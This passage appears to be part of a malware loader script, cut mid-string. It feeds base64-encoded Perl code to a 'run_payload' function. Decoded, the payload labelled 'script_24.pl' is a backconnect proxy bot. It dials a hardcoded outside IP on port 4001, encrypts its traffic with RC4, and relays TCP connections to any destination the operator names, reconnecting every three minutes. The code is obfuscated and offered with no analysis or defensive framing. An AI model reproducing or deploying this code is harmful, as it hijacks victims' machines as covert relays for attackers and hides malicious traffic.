kgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_24.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTczJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJC